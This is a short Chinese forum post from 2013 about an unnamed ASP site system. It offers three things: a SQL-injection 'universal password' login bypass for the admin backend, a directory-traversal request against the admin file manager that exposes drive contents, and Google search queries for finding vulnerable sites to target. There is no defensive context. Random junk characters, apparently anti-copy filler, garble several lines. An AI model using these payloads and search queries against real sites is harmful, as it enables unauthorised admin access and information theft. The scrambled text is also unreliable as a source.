后台万能密码 'or'='or'" S( _4 ]* I6 u* `( `1 n. v0 Z: u
4 ^! @1 F, a. V/ J# Z# D后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
: y& D8 h' F+ T8 N8 tadmin/uploadfile.asp?currentFolder=/upfiles/../; g0 ~1 q5 c4 N
2 N0 d) P2 ^3 z. W8 c8 j
漏洞证明：9 V& O' `; g" C% w0 K
: @! `/ C/ a( ~- i: A7 t5 U) q# i
谷歌：inurl:type.asp?id=1 新闻中心/ u9 N- R$ X/ T2 X, e: u1 i9 I
或者 ：inurl:download_ok.asp?
0 A+ K7 ]- ?2 w& M/ s
; A- x! V! E# ]9 l( f! l& u |
发表于 2013-3-14 20:17:32
收藏
支持
反对